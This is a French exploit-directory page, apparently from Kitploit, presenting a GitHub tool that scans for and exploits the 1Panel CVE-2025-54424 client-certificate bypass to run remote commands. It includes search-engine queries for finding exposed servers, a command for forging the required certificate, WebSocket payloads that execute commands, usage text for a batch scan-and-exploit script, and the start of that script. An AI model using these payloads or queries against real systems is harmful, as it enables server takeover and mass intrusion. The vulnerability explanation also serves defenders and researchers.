Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
1Panel-CVE-2025-54424- — Outil d'exploitation pour 1Panel CVE-2025-54424, permettant le contournement de certificat et l'exécution de commandes à distance via WebSocket, avec analyse par lots et shell interactif. | Kitploit
Outils/GitHubGitHub/anonnymous5/1panel-cve-2025-54424-
Scanners de VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleOutil d'Accès à Distance
GitHubanonnymous5/1panel-cve-2025-54424-

1Panel-CVE-2025-54424-

Outil d'exploitation pour 1Panel CVE-2025-54424, permettant le contournement de certificat et l'exécution de commandes à distance via WebSocket, avec analyse par lots et shell interactif.

Voir le dépôt
13il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-54424

CVE-2025-54424 : Outil intégré (scan + exploitation) pour la vulnérabilité RCE contournant le certificat client de 1Panel

Introduction

1Panel est un panneau de gestion d'exploitation Linux moderne, open source, offrant une interface graphique pour déployer des sites web, gérer des serveurs et exécuter des services.

Dans la version affectée, la politique d'authentification TLS de l'Agent est tls.RequireAnyClientCert, qui exige seulement la présentation d'un certificat mais ne vérifie pas sa fiabilité. Un attaquant peut contourner la validation TLS avec un certificat auto-signé, et falsifier le champ CN en panel_client pour contourner la validation au niveau applicatif. Il peut ainsi invoquer des interfaces non autorisées d'exécution de commande, conduisant à une exécution de commande à distance (RCE).

Versions affectées

<= v2.0.5

Syntaxe de recherche

Requêtes hunter et fofa :

cert.subject_org=="FIT2CLOUD"&&ip.port="9999" || cert.subject.suffix=="panel_server"

cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"

Analyse de la vulnérabilité

Copie de l'avis GitHub

  • Tout d'abord, introduisons les concepts de Core et Agent dans 1Panel v2. Depuis la nouvelle version, 1Panel a ajouté la fonction de gestion des nœuds, permettant de contrôler d'autres hôtes en ajoutant des nœuds.
  • Le protocole HTTPS utilisé pour la communication entre Core et Agent ne vérifie pas intégralement l'authenticité du certificat, ce qui entraîne une non-autorisation des interfaces. En raison de la présence de nombreuses interfaces de haut privilège ou d'exécution de commandes dans 1Panel, cela conduit à une RCE.

Processus d'audit de code

  1. D'abord, accédons au fichier de route HTTP de l'Agent : agent/init/router/router.go

  1. On constate que la fonction Routers fait appel à la fonction Certificate pour une vérification globale agent/middleware/certificate.go

  2. La fonction Certificate vérifie si c.Request.TLS.HandshakeComplete a bien effectué une communication TLS

  3. La vérité/fausseté de c.Request.TLS.HandshakeComplete est déterminée par la fonction Start du fichier agent/server/server.go via tls.RequireAnyClientCert Note : Ici, l'utilisation de tls.RequireAnyClientCert au lieu de tls.RequireAndVerifyClientCert signifie que RequireAnyClientCert exige seulement la présentation d'un certificat par le client, sans vérifier la CA émettrice. Ainsi, n'importe quel certificat auto-signé peut passer la poignée de main TLS.

  4. Ensuite, dans les autres vérifications de la fonction Certificate, seul le champ CN du certificat est vérifié (doit être panel_client), sans vérifier l'émetteur du certificat. Enfin, on découvre que la connexion WebSocket peut contourner la vérification Proxy-ID.

  5. Il existe de nombreuses interfaces WebSocket dans le projet.

  • Interface WebSocket Process (permet d'obtenir tous les processus et autres informations sensibles selon le problème ci-dessus) Route : /process/ws Format de requête :
{
  "type": "ps",           // Type de données : ps (processus), ssh (session SSH), net (connexion réseau), wget (progression de téléchargement)
  "pid": 123,             // Optionnel, filtrer par PID
  "name": "process_name", // Optionnel, filtrer par nom de processus
  "username": "user"      // Optionnel, filtrer par nom d'utilisateur
}

  • Interface WebSocket Terminal SSH (permet d'exécuter des commandes arbitraires selon le problème ci-dessus) Route : /hosts/terminal Format de requête :
{
  "type": "cmd",
  "data": "d2hvYW1pCg=="  // Encodage base64 de "whoami", ne pas oublier le saut de ligne
}

  • Interface WebSocket Terminal Container (interface d'exécution de commandes dans un conteneur) Route : /containers/terminal
  • Interface WebSocket de progression de téléchargement de fichiers (envoie automatiquement les informations de progression) Route : /files/wget/process

Reproduction

Reproduction manuelle

  1. Générer un certificat

openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"

  1. Charger les fichiers panel_client.crt et panel_client.key générés dans Burp, ouvrir une requête WebSocket, définir la cible et démarrer la requête.

Détection en masse

Utiliser mon outil, le script CVE-2025-54424.py, pour la détection et l'exploitation en masse. Instructions d'utilisation ci-dessous.

Installer les dépendances nécessaires : pip install websocket-client cryptography PySocks requests

usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
                         [--proxy PROXY]

1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)
作者: Mrxn https://github.com/Mr-xn

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     单个目标,进入利用模式。例如: 192.168.1.100:8080
  -f FILE, --file FILE  目标文件,进入批量扫描模式。
  -o OUTPUT, --output OUTPUT
                        [扫描模式] 保存漏洞结果的文件名。
  -t THREADS, --threads THREADS
                        [扫描模式] 并发线程数。
  --proxy PROXY         为所有请求设置代理。例如: http://127.0.0.1:8080

Exemple de détection unique avec exécution de commande (shell interactif SSH) :

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime

# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []

# --- 核心功能函数 ---
Télécharger l’outil